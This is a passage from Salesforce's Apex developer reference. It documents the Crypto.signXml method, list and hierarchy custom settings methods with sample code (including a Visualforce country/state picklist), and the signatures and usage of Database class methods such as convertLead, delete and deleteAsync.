The full name (including the namespace) of the attribute on the node (XmlNode) to use as the reference ID. If null, this method
uses the ID attribute on the node. If there is no ID attribute, Salesforce generates a new ID and adds it to the node.
certDevName
Type: String
The unique name for a certificate stored in the Salesforce org’s Certificate and Key Management page to use for signing.
To access the Certificate and Key Management page from Setup, enter Certificate and Key Management in the Quick
Find box, then select Certificate and Key Management.
Return Value
Type: void
Example
The following is an example declaration and initialization.
Dom.Document doc = new dom.Document();
doc.load(...);
System.Crypto.signXml('RSA-SHA256', doc.getRootElement(), null,'signingCert');
return doc.toXmlString();
signXML(algorithmName, node, idAttributeName, certDevName, refChild)
Inserts the signature envelope before the specified child node.
Signature
public static void signXml(String algorithmName, Dom.XmlNode node, String
idAttributeName, String certDevName, Dom.XmlNode refChild)
Parameters
algorithmName
Type: String
2158
Crypto ClassReference
The RSA encryption algorithm name. Valid names are RSA-SHA1, RSA-SHA256, or RSA.
RSA-SHA1 is an RSA signature (with an asymmetric key pair) of an SHA1 hash.
RSA-SHA256 is an RSA signature of an SHA256 hash.
RSA is the same as RSA-SHA1.
node
Type: Dom.XmlNode
The XML node to sign and insert the signature into.
idAttributeName
Type: String
The full name (including the namespace) of the attribute on the node (XmlNode) to use as the reference ID. If null, this method
uses the ID attribute on the node. If there is no ID attribute, Salesforce generates a new ID and adds it to the node.
certDevName
Type: String
The unique name for a certificate stored in the Salesforce org’s Certificate and Key Management page to use for signing.
To access the Certificate and Key Management page from Setup, enter Certificate and Key Management in the Quick
Find box, then select Certificate and Key Management.
refChild
Dom.XmlNode
The XML node before which to insert the signature. If refChild is null, the signature is added at the end.
Return Value
Type: Void
Custom Settings Methods
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and
associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which
enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation
rules, flows, Apex, and the SOAP API.
Usage
Custom settings methods are all instance methods, that is, they are called by and operate on a particular instance of a custom setting.
There are two types of custom settings: hierarchy and list. The methods are divided into those that work with list custom settings, and
those that work with hierarchy custom settings.
Note: All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated
queries to the database. However, querying custom settings data using Standard Object Query Language (SOQL) doesn't make
use of the application cache and is similar to querying a custom object. To benefit from caching, use other methods for accessing
custom settings data such as the Apex Custom Settings methods.
For more information on creating custom settings in the Salesforce user interface, see “Create Custom Data Sets” in the Salesforce online
help.
2159
Custom Settings MethodsReference
Custom Setting Examples
The following example uses a list custom setting called Games. Games has a field called GameType. This example determines if the
value of the first data set is equal to the string PC.
List<Games__C> mcs = Games__c.getall().values();
boolean textField = null;
if (mcs[0].GameType__c == 'PC') {
textField = true;
}
system.assertEquals(textField, true);
The following example uses a custom setting from Country and State Code Custom Settings Example. This example demonstrates that
the getValues and getInstance methods list custom setting return identical values.
Foundation_Countries__c myCS1 = Foundation_Countries__c.getValues('United States');
String myCCVal = myCS1.Country_code__c;
Foundation_Countries__c myCS2 = Foundation_Countries__c.getInstance('United States');
String myCCInst = myCS2.Country_code__c;
system.assertEquals(myCCinst, myCCVal);
Hierarchy Custom Setting Examples
In the following example, the hierarchy custom setting GamesSupport has a field called Corporate_number. The code returns the
value for the profile specified with pid.
GamesSupport__c mhc = GamesSupport__c.getInstance(pid);
string mPhone = mhc.Corporate_number__c;
The example is identical if you choose to use the getValues method.
The following example shows how to use hierarchy custom settings methods. For getInstance, the example shows how field values
that aren't set for a specific user or profile are returned from fields defined at the next lowest level in the hierarchy. The example also
shows how to use getOrgDefaults.
Finally, the example demonstrates how getValues returns fields in the custom setting record only for the specific user or profile,
and doesn't merge values from other levels of the hierarchy. Instead, getValues returns null for any fields that aren't set. This
example uses a hierarchy custom setting called Hierarchy. Hierarchy has two fields: OverrideMe and DontOverrideMe. In
addition, a user named Robert has a System Administrator profile. The organization, profile, and user settings for this example are as
follows:
Organization settings
OverrideMe: Hello
DontOverrideMe: World
Profile settings
OverrideMe: Goodbye
DontOverrideMe is not set.
User settings
OverrideMe: Fluffy
DontOverrideMe is not set.
2160
Custom Settings MethodsReference
The following example demonstrates the result of the getInstance method if Robert calls it in his organization:
Hierarchy__c CS = Hierarchy__c.getInstance();
System.Assert(CS.OverrideMe__c == 'Fluffy');
System.assert(CS.DontOverrideMe__c == 'World');
If Robert passes his user ID specified by RobertId to getInstance, the results are the same. This is because the lowest level of
data in the custom setting is specified at the user level.
Hierarchy__c CS = Hierarchy__c.getInstance(RobertId);
System.Assert(CS.OverrideMe__c == 'Fluffy');
System.assert(CS.DontOverrideMe__c == 'World');
If Robert passes the System Administrator profile ID specified by SysAdminID to getInstance, the result is different. The data
specified for the profile is returned:
Hierarchy__c CS = Hierarchy__c.getInstance(SysAdminID);
System.Assert(CS.OverrideMe__c == 'Goodbye');
System.assert(CS.DontOverrideMe__c == 'World');
When Robert tries to return the data set for the organization using getOrgDefaults, the result is:
Hierarchy__c CS = Hierarchy__c.getOrgDefaults();
System.Assert(CS.OverrideMe__c == 'Hello');
System.assert(CS.DontOverrideMe__c == 'World');
By using the getValues method, Robert can get the hierarchy custom setting values specific to his user and profile settings. For
example, if Robert passes his user ID RobertId to getValues, the result is:
Hierarchy__c CS = Hierarchy__c.getValues(RobertId);
System.Assert(CS.OverrideMe__c == 'Fluffy');
// Note how this value is null, because you are returning
// data specific for the user
System.assert(CS.DontOverrideMe__c == null);
If Robert passes his System Administrator profile ID SysAdminID to getValues, the result is:
Hierarchy__c CS = Hierarchy__c.getValues(SysAdminID);
System.Assert(CS.OverrideMe__c == 'Goodbye');
// Note how this value is null, because you are returning
// data specific for the profile
System.assert(CS.DontOverrideMe__c == null);
Country and State Code Custom Settings Example
This example illustrates using two custom setting objects for storing related information, and a Visualforce page to display the data in
a set of related picklists.
In the following example, country and state codes are stored in two different custom settings: Foundation_Countries and
Foundation_States.
The Foundation_Countries custom setting is a list type custom setting and has a single field, Country_Code.
2161
Custom Settings MethodsReference
The Foundation_States custom setting is also a List type of custom setting and has the following fields:
•Country Code
•State Code
•State Name
The Visualforce page shows two picklists: one for country and one for state.
2162
Custom Settings MethodsReference
<apex:page controller="CountryStatePicker">
<apex:form >
<apex:actionFunction name="rerenderStates" rerender="statesSelectList" >
<apex:param name="firstParam" assignTo="{!country}" value="" />
</apex:actionFunction>
<table><tbody>
<tr>
<th>Country</th>
<td>
<apex:selectList id="country" styleclass="std" size="1"
value="{!country}" onChange="rerenderStates(this.value)">
<apex:selectOptions value="{!countriesSelectList}"/>
</apex:selectList>
</td>
</tr>
<tr id="state_input">
<th>State/Province</th>
<td>
<apex:selectList id="statesSelectList" styleclass="std" size="1"
value="{!state}">
<apex:selectOptions value="{!statesSelectList}"/>
</apex:selectList>
</td>
</tr>
</tbody></table>
</apex:form>
</apex:page>
The Apex controller CountryStatePicker finds the values entered into the custom settings, then returns them to the Visualforce
page.
public with sharing class CountryStatePicker {
// Variables to store country and state selected by user
2163
Custom Settings MethodsReference
public String state { get; set; }
public String country {get; set;}
// Generates country dropdown from country settings
public List<SelectOption> getCountriesSelectList() {
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('','-- Select One --'));
// Find all the countries in the custom setting
Map<String, Foundation_Countries__c> countries = Foundation_Countries__c.getAll();
// Sort them by name
List<String> countryNames = new List<String>();
countryNames.addAll(countries.keySet());
countryNames.sort();
// Create the Select Options.
for (String countryName : countryNames) {
Foundation_Countries__c country = countries.get(countryName);
options.add(new SelectOption(country.country_code__c, country.Name));
}
return options;
}
// To generate the states picklist based on the country selected by user.
public List<SelectOption> getStatesSelectList() {
List<SelectOption> options = new List<SelectOption>();
// Find all the states we have in custom settings.
Map<String, Foundation_States__c> allstates = Foundation_States__c.getAll();
// Filter states that belong to the selected country
Map<String, Foundation_States__c> states = new Map<String, Foundation_States__c>();
for(Foundation_States__c state : allstates.values()) {
if (state.country_code__c == this.country) {
states.put(state.name, state);
}
}
// Sort the states based on their names
List<String> stateNames = new List<String>();
stateNames.addAll(states.keySet());
stateNames.sort();
// Generate the Select Options based on the final sorted list
for (String stateName : stateNames) {
Foundation_States__c state = states.get(stateName);
options.add(new SelectOption(state.state_code__c, state.state_name__c));
}
// If no states are found, just say not required in the dropdown.
if (options.size() > 0) {
options.add(0, new SelectOption('','-- Select One --'));
2164
Custom Settings MethodsReference
}else {
options.add(new SelectOption('','Not Required'));
}
return options;
}
}
IN THIS SECTION:
List Custom Setting Methods
Hierarchy Custom Setting Methods
SEE ALSO:
Custom Settings
List Custom Setting Methods
The following are instance methods for list custom settings.
IN THIS SECTION:
getAll()
Returns a map of the data sets defined for the custom setting.
getInstance(dataSetName)
Returns the custom setting data set record for the specified data set name. This method returns the exact same object as
getValues(dataSetName).
getValues(dataSetName)
Returns the custom setting data set record for the specified data set name. This method returns the exact same object as
getInstance(dataSetName).
getAll()
Returns a map of the data sets defined for the custom setting.
Signature
public Map<String, CustomSetting__c> getAll()
Return Value
Type: Map<String, CustomSetting__c>
Usage
If no data set is defined, this method returns an empty map.
Note: For Apex saved using SalesforceAPI version 20.0 or earlier, the data set names, which are the keys in the returned map, are
converted to lower case. For Apex saved using SalesforceAPI version 21.0 and later, the case of the data set names in the returned
map keys is not changed and the original case is preserved.
2165
Custom Settings MethodsReference
getInstance(dataSetName)
Returns the custom setting data set record for the specified data set name. This method returns the exact same object as
getValues(dataSetName).
Signature
public CustomSetting__c getInstance(String dataSetName)
Parameters
dataSetName
Type: String
Return Value
Type: CustomSetting__c
Usage
If no data is defined for the specified data set, this method returns null.
getValues(dataSetName)
Returns the custom setting data set record for the specified data set name. This method returns the exact same object as
getInstance(dataSetName).
Signature
public CustomSetting__c getValues(String dataSetName)
Parameters
dataSetName
Type: String
Return Value
Type: CustomSetting__c
Usage
If no data is defined for the specified data set, this method returns null.
Hierarchy Custom Setting Methods
The following are instance methods for hierarchy custom settings.
2166
Custom Settings MethodsReference
IN THIS SECTION:
getInstance()
Returns a custom setting data set record for the current user. The fields returned in the custom setting record are merged based on
the lowest level fields that are defined in the hierarchy.
getInstance(userId)
Returns the custom setting data set record for the specified user ID. The lowest level custom setting record and fields are returned.
Use this when you want to explicitly retrieve data for the custom setting at the user level.
getInstance(profileId)
Returns the custom setting data set record for the specified profile ID. The lowest level custom setting record and fields are returned.
Use this when you want to explicitly retrieve data for the custom setting at the profile level.
getOrgDefaults()
Returns the custom setting data set record for the organization.
getValues(userId)
Returns the custom setting data set record for the specified user ID.
getValues(profileId)
Returns the custom setting data set for the specified profile ID.
getInstance()
Returns a custom setting data set record for the current user. The fields returned in the custom setting record are merged based on the
lowest level fields that are defined in the hierarchy.
Signature
public CustomSetting__c getInstance()
Return Value
Type: CustomSetting__c
Usage
If no custom setting data is defined for the user, this method returns a new custom setting object. The new custom setting object
contains an ID set to null and merged fields from higher in the hierarchy. You can add this new custom setting record for the user
by using insert or upsert. If no custom setting data is defined in the hierarchy, the returned custom setting has empty fields, except
for the SetupOwnerId field which contains the user ID.
Note: For Apex saved using Salesforce API version 21.0 or earlier, this method returns the custom setting data set record with
fields merged from field values defined at the lowest hierarchy level, starting with the user. Also, if no custom setting data is defined
in the hierarchy, this method returns null.
This method is equivalent to a method call to getInstance(User_Id) for the current user.
Example
•Custom setting data set defined for the user: If you have a custom setting data set defined for the user “Uriel Jones,” for the profile
“System Administrator,” and for the organization as a whole, and the user running the code is Uriel Jones, this method returns the
custom setting record defined for Uriel Jones.
2167
Custom Settings MethodsReference
•Merged fields: If you have a custom setting data set with fields A and B for the user “Uriel Jones” and for the profile “System
Administrator,” and field A is defined for Uriel Jones, field B is null but is defined for the System Adminitrator profile, this method
returns the custom setting record for Uriel Jones with field A for Uriel Jones and field B from the System Administrator profile.
•No custom setting data set record defined for the user: If the current user is “Barbara Mahonie,” who also shares the “System
Administrator” profile, but no data is defined for Barbara as a user, this method returns a new custom setting record with the ID set
to null and with fields merged based on the fields defined in the lowest level in the hierarchy.
getInstance(userId)
Returns the custom setting data set record for the specified user ID. The lowest level custom setting record and fields are returned. Use
this when you want to explicitly retrieve data for the custom setting at the user level.
Signature
public CustomSetting__c getInstance(ID userId)
Parameters
userId
Type: ID
Return Value
Type: CustomSetting__c
Usage
If no custom setting data is defined for the user, this method returns a new custom setting object. The new custom setting object
contains an ID set to null and merged fields from higher in the hierarchy. You can add this new custom setting record for the user
by using insert or upsert. If no custom setting data is defined in the hierarchy, the returned custom setting has empty fields, except
for the SetupOwnerId field which contains the user ID.
Note: For Apex saved using Salesforce API version 21.0 or earlier, this method returns the custom setting data set record with
fields merged from field values defined at the lowest hierarchy level, starting with the user. Also, if no custom setting data is defined
in the hierarchy, this method returns null.
getInstance(profileId)
Returns the custom setting data set record for the specified profile ID. The lowest level custom setting record and fields are returned.
Use this when you want to explicitly retrieve data for the custom setting at the profile level.
Signature
public CustomSetting__c getInstance(ID profileId)
Parameters
profileId
Type: ID
2168
Custom Settings MethodsReference
Return Value
Type: CustomSetting__c
Usage
If no custom setting data is defined for the profile, this method returns a new custom setting record. The new custom setting object
contains an ID set to null and with merged fields from your organization's default values. You can add this new custom setting for
the profile by using insert or upsert. If no custom setting data is defined in the hierarchy, the returned custom setting has empty
fields, except for the SetupOwnerId field which contains the profile ID.
Note: For Apex saved using SalesforceAPI version 21.0 or earlier, this method returns the custom setting data set record with
fields merged from field values defined at the lowest hierarchy level, starting with the profile. Also, if no custom setting data is
defined in the hierarchy, this method returns null.
getOrgDefaults()
Returns the custom setting data set record for the organization.
Signature
public CustomSetting__c getOrgDefaults()
Return Value
Type: CustomSetting__c
Usage
If no custom setting data is defined for the organization, this method returns an empty custom setting object.
Note: For Apex saved using SalesforceAPI version 21.0 or earlier, this method returns null if no custom setting data is defined
for the organization.
getValues(userId)
Returns the custom setting data set record for the specified user ID.
Signature
public CustomSetting__c getValues(ID userId)
Parameters
userId
Type: ID
Return Value
Type: CustomSetting__c
2169
Custom Settings MethodsReference
Usage
Use this if you only want the subset of custom setting data that has been defined at the user level. For example, suppose you have a
custom setting field that has been assigned a value of "foo" at the organizational level, but has no value assigned at the user or profile
level. Using getValues(UserId) returns null for this custom setting field.
getValues(profileId)
Returns the custom setting data set for the specified profile ID.
Signature
public CustomSetting__c getValues(ID profileId)
Parameters
profileId
Type: ID
Return Value
Type: CustomSetting__c
Usage
Use this if you only want the subset of custom setting data that has been defined at the profile level. For example, suppose you have a
custom setting field that has been assigned a value of "foo" at the organizational level, but has no value assigned at the user or profile
level. Using getValues(ProfileId) returns null for this custom setting field.
Database Class
Contains methods for creating and manipulating data.
Namespace
System
Usage
Some Database methods also exist as DML statements.
Database Methods
The following are methods for Database. All methods are static.
IN THIS SECTION:
convertLead(leadToConvert, allOrNone)
Converts a lead into an account and contact, as well as (optionally) an opportunity.
2170
Database ClassReference
convertLead(leadsToConvert, allOrNone)
Converts a list of LeadConvert objects into accounts and contacts, as well as (optionally) opportunities.
countQuery(query)
Returns the number of records that a dynamic SOQL query would return when executed.
delete(recordToDelete, allOrNone)
Deletes an existing sObject record, such as an individual account or contact, from your organization's data.
delete(recordsToDelete, allOrNone)
Deletes a list of existing sObject records, such as individual accounts or contacts, from your organization’s data.
delete(recordID, allOrNone)
Deletes existing sObject records, such as individual accounts or contacts, from your organization’s data.
delete(recordIDs, allOrNone)
Deletes a list of existing sObject records, such as individual accounts or contacts, from your organization’s data.
deleteAsync(sobjects, callback)
Initiates requests to delete the external data that corresponds to the specified external object records. The request is executed
asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated
external data source. Allows referencing a callback class whose processDelete method is called for each record after deletion.
deleteAsync(sobject, callback)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed
asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated
external data source. Allows referencing a callback class whose processDelete method is called after deletion.
deleteAsync(sobjects)
Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed
asynchronously, as background operations, and are sent to the external systems that are defined by the external objects' associated
external data sources.
deleteAsync(sobject)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed
asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated
external data source.
deleteImmediate(sobjects)
Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed
synchronously and are sent to the external systems that are defined by the external objects' associated external data sources. If the
Apex transaction contains pending changes, the synchronous operations can't be completed and throw exceptions.
deleteImmediate(sobject)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed
synchronously and is sent to the external system that's defined by the external object's associated external data source. If the Apex
transaction contains pending changes, the synchronous operation can't be completed and throws an exception.
emptyRecycleBin(recordIds)
Permanently deletes the specified records from the Recycle Bin.
emptyRecycleBin(obj)
Permanently deletes the specified sObject from the Recycle Bin.
emptyRecycleBin(listOfSObjects)
Permanently deletes the specified sObjects from the Recycle Bin.
2171
Database ClassReference
executeBatch(batchClassObject)
Submits a batch Apex job for execution corresponding to the specified class.
executeBatch(batchClassObject, scope)
Submits a batch Apex job for execution using the specified class and scope.
getAsyncDeleteResult(deleteResult)
Retrieves the status of an asynchronous delete operation that’s identified by a Database.DeleteResult object.
getAsyncDeleteResult(asyncLocator)
Retrieves the result of an asynchronous delete operation based on the result’s unique identifier.
getAsyncLocator(result)
Returns the asyncLocator associated with the result of a specified asynchronous insert, update, or delete operation.
getAsyncSaveResult(saveResult)
Returns the status of an asynchronous insert or update operation that’s identified by a Database.SaveResult object.
getAsyncSaveResult(asyncLocator)
Returns the status of an asynchronous insert or update operation based on the unique identifier associated with each modification.
getDeleted(sObjectType, startDate, endDate)
Returns the list of individual records that have been deleted for an sObject type within the specified start and end dates and times
and that are still in the Recycle Bin.
getQueryLocator(listofQueries)
Creates a QueryLocator object used in batch Apex or Visualforce.
getQueryLocator(query)
Creates a QueryLocator object used in batch Apex or Visualforce.
getUpdated(sobjectType, startDate, endDate)
Returns the list of individual records that have been updated for an sObject type within the specified start and end dates and times.
insert(recordToInsert, allOrNone)
Adds an sObject, such as an individual account or contact, to your organization's data.
insert(recordsToInsert, allOrNone)
Adds one or more sObjects, such as individual accounts or contacts, to your organization’s data.
insert(recordToInsert, dmlOptions)
Adds an sObject, such as an individual account or contact, to your organization's data.
insert(recordsToInsert, dmlOptions)
Adds one or more sObjects, such as individual accounts or contacts, to your organization's data.
insertAsync(sobjects, callback)
Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background
operations, and are sent to the external systems that are defined by the external objects' associated external data sources. Allows
referencing a callback class whose processSave method is called for each record after the remote operations are completed.
insertAsync(sobject, callback)
Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background
operation, and is sent to the external system that's defined by the external object's associated external data source. Allows referencing
a callback class whose processSave method is called after the remote operation is completed.
2172
Database ClassReference
insertAsync(sobjects)
Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background
operations, and are sent to the external systems that are defined by the external objects' associated external data sources.
insertAsync(sobject)
Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background
operation, and is sent to the external system that's defined by the external object's associated external data source.
insertImmediate(sobjects)
Initiates requests to add external object data to the relevant external systems. The requests are executed synchronously and are sent
to the external systems that are defined by the external objects' associated external data sources. If the Apex transaction contains
pending changes, the synchronous operations can't be completed and throw exceptions.
insertImmediate(sobject)
Initiates a request to add external object data to the relevant external system. The request is executed synchronously and is sent to
the external system that's defined by the external object's associated external data source. If the Apex transaction contains pending
changes, the synchronous operation can't be completed and throws an exception.
merge(masterRecord, duplicateId)
Merges the specified duplicate record into the master sObject record of the same type, deleting the duplicate, and reparenting any
related records. Merges only accounts, contacts, or leads.
merge(masterRecord, duplicateRecord)
Merges the specified duplicate sObject record into the master sObject of the same type, deleting the duplicate, and reparenting any
related records.
merge(masterRecord, duplicateIds)
Merges up to two records of the same sObject type into the master sObject record, deleting the others, and reparenting any related
records.
merge(masterRecord, duplicateRecords)
Merges up to two records of the same object type into the master sObject record, deleting the others, and reparenting any related
records.
merge(masterRecord, duplicateId, allOrNone)
Merges the specified duplicate record into the master sObject record of the same type, optionally returning errors, if any, deleting
the duplicate, and reparenting any related records. Merges only accounts, contacts, or leads.
merge(masterRecord, duplicateRecord, allOrNone)
Merges the specified duplicate sObject record into the master sObject of the same type, optionally returning errors, if any, deleting
the duplicate, and reparenting any related records.
merge(masterRecord, duplicateIds, allOrNone)
Merges up to two records of the same sObject type into the master sObject record, optionally returning errors, if any, deleting the
duplicates, and reparenting any related records.
merge(masterRecord, duplicateRecords, allOrNone)
Merges up to two records of the same object type into the master sObject record, optionally returning errors, if any, deleting the
duplicates, and reparenting any related records.
query(queryString)
Creates a dynamic SOQL query at runtime.
rollback(databaseSavepoint)
Restores the database to the state specified by the savepoint variable. Any emails submitted since the last savepoint are also rolled
back and not sent.
2173
Database ClassReference
setSavepoint()
Returns a savepoint variable that can be stored as a local variable, then used with the rollback method to restore the database
to that point.
undelete(recordToUndelete, allOrNone)
Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin.
undelete(recordsToUndelete, allOrNone)
Restores one or more existing sObject records, such as individual accounts or contacts, from your organization’s Recycle Bin.
undelete(recordID, allOrNone)
Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin.
undelete(recordIDs, allOrNone)
Restores one or more existing sObject records, such as individual accounts or contacts, from your organization’s Recycle Bin.
update(recordToUpdate, allOrNone)
Modifies an existing sObject record, such as an individual account or contact, in your organization's data.
update(recordsToUpdate, allOrNone)
Modifies one or more existing sObject records, such as individual accounts or contactsinvoice statements, in your organization’s
data.
update(recordToUpdate, dmlOptions)
Modifies an existing sObject record, such as an individual account or contact, in your organization's data.
update(recordsToUpdate, dmlOptions)
Modifies one or more existing sObject records, such as individual accounts or contactsinvoice statements, in your organization’s
data.
upsert(recordToUpsert, externalIdField, allOrNone)
Creates a new sObject record or updates an existing sObject record within a single statement, using a specified field to determine
the presence of existing objects, or the ID field if no field is specified.
upsert(recordsToUpsert, externalIdField, allOrNone)
Creates new sObject records or updates existing sObject records within a single statement, using a specified field to determine the
presence of existing objects, or the ID field if no field is specified.
updateAsync(sobjects, callback)
Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as
background operations, and are sent to the external systems that are defined by the external objects' associated external data sources.
Allows referencing a callback class whose processSave method is called for each record after the remote operations are
completed.
updateAsync(sobject, callback)
Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a
background operation, and is sent to the external system that's defined by the external object's associated external data source.
Allows referencing a callback class whose processSave method is called after the remote operation is completed.
updateAsync(sobjects)
Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as
background operations, and are sent to the external systems that are defined by the external objects' associated external data sources.
updateAsync(sobject)
Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a
background operation, and is sent to the external system that's defined by the external object's associated external data source.
2174
Database ClassReference
updateImmediate(sobjects)
Initiates requests to update external object data on the relevant external systems. The requests are executed synchronously and are
sent to the external systems that are defined by the external objects' associated external data sources. If the Apex transaction contains
pending changes, the synchronous operations can't be completed and throw exceptions.
updateImmediate(sobject)
Initiates a request to update external object data on the relevant external system. The request is executed synchronously and is sent
to the external system that's defined by the external object's associated external data source. If the Apex transaction contains pending
changes, the synchronous operation can't be completed and throws an exception.
convertLead(leadToConvert, allOrNone)
Converts a lead into an account and contact, as well as (optionally) an opportunity.
Signature
public static Database.LeadConvertResult convertLead(Database.LeadConvert leadToConvert,
Boolean allOrNone)
Parameters
leadToConvert
Type: Database.LeadConvert
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.LeadConvertResult
Usage
The convertLead method accepts up to 100 LeadConvert objects.
Each executed convertLead method counts against the governor limit for DML statements.
convertLead(leadsToConvert, allOrNone)
Converts a list of LeadConvert objects into accounts and contacts, as well as (optionally) opportunities.
Signature
public static Database.LeadConvertResult[] convertLead(Database.LeadConvert[]
leadsToConvert, Boolean allOrNone)
2175
Database ClassReference
Parameters
leadsToConvert
Type: Database.LeadConvert[]
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.LeadConvertResult[]
Usage
The convertLead method accepts up to 100 LeadConvert objects.
Each executed convertLead method counts against the governor limit for DML statements.
countQuery(query)
Returns the number of records that a dynamic SOQL query would return when executed.
Signature
public static Integer countQuery(String query)
Parameters
query
Type: String
Return Value
Type: Integer
Usage
For more information, see Dynamic SOQL on page 177.
Each executed countQuery method counts against the governor limit for SOQL queries.
Example
String QueryString =
'SELECT count() FROM Account';
Integer i =
Database.countQuery(QueryString);
2176
Database ClassReference
delete(recordToDelete, allOrNone)
Deletes an existing sObject record, such as an individual account or contact, from your organization's data.
Signature
public static Database.DeleteResult delete(SObject recordToDelete, Boolean allOrNone)
Parameters
recordToDelete
Type: sObject
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.DeleteResult
Usage
delete is analogous to the delete() statement in the SOAP API.
Each executed delete method counts against the governor limit for DML statements.
delete(recordsToDelete, allOrNone)
Deletes a list of existing sObject records, such as individual accounts or contacts, from your organization’s data.
Signature
public static Database.DeleteResult[] delete(SObject[] recordsToDelete, Boolean
allOrNone)
Parameters
recordsToDelete
Type: sObject[]
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.DeleteResult[]
2177
Database ClassReference
Usage
delete is analogous to the delete() statement in the SOAP API.
Each executed delete method counts against the governor limit for DML statements.
Example
The following example deletes an account named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account WHERE Name = 'DotCom'];
Database.DeleteResult[] DR_Dels = Database.delete(doomedAccts);
delete(recordID, allOrNone)
Deletes existing sObject records, such as individual accounts or contacts, from your organization’s data.
Signature
public static Database.DeleteResult delete(ID recordID, Boolean allOrNone)
Parameters
recordID
Type: ID
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.DeleteResult
Usage
delete is analogous to the delete() statement in the SOAP API.
Each executed delete method counts against the governor limit for DML statements.
delete(recordIDs, allOrNone)
Deletes a list of existing sObject records, such as individual accounts or contacts, from your organization’s data.
Signature
public static Database.DeleteResult[] delete(ID[] recordIDs, Boolean allOrNone)
2178
Database ClassReference
Parameters
recordIDs
Type: ID[]
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter
and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to
verify which records succeeded, which failed, and why.
Return Value
Type: Database.DeleteResult[]
Usage
delete is analogous to the delete() statement in the SOAP API.
Each executed delete method counts against the governor limit for DML statements.
deleteAsync(sobjects, callback)
Initiates requests to delete the external data that corresponds to the specified external object records. The request is executed
asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated external
data source. Allows referencing a callback class whose processDelete method is called for each record after deletion.
Signature
public static List<Database.DeleteResult> deleteAsync(List<SObject> sobjects,
DataSource.AsyncDeleteCallback callback)
Parameters
sobjects
Type: List<SObject>
List of external object records to delete.
callback
Type: DataSource.AsyncDeleteCallback
The callback that contains the state in the originating context and an action (the processDelete method) that is executed after
the insert operation is completed. Use the action callback to update org data according to the operation’s results. The callback object
must extend DataSource.AsyncDeleteCallback.
Return Value
Type: List<Database.DeleteResult>
Status results for the delete operation. Each result corresponds to a record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncDeleteResult().
2179
Database ClassReference
deleteAsync(sobject, callback)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed
asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated external
data source. Allows referencing a callback class whose processDelete method is called after deletion.
Signature
public static Database.DeleteResult deleteAsync(SObject sobject,
DataSource.AsyncDeleteCallback callback)
Parameters
sobject
Type: SObject
The external object record to delete.
callback
Type: DataSource.AsyncDeleteCallback
The callback that contains the state in the originating context and an action (the processDelete method) that is executed after
the insert operation is completed. Use the action callback to update org data according to the operation’s results. The callback object
must extend DataSource.AsyncDeleteCallback.
Return Value
Type: Database.DeleteResult
Status result for the delete operation. The result corresponds to the record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncDeleteResult().
deleteAsync(sobjects)
Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed
asynchronously, as background operations, and are sent to the external systems that are defined by the external objects' associated
external data sources.
Signature
public static List<Database.DeleteResult> deleteAsync(List<SObject> sobjects)
Parameters
sobjects
Type: List<SObject>
List of external object records to delete.
Return Value
Type: List<Database.DeleteResult>
2180
Database ClassReference
Status results for the delete operation. Each result corresponds to a record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncDeleteResult().
deleteAsync(sobject)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed
asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated external
data source.
Signature
public static Database.DeleteResult deleteAsync(SObject sobject)
Parameters
sobject
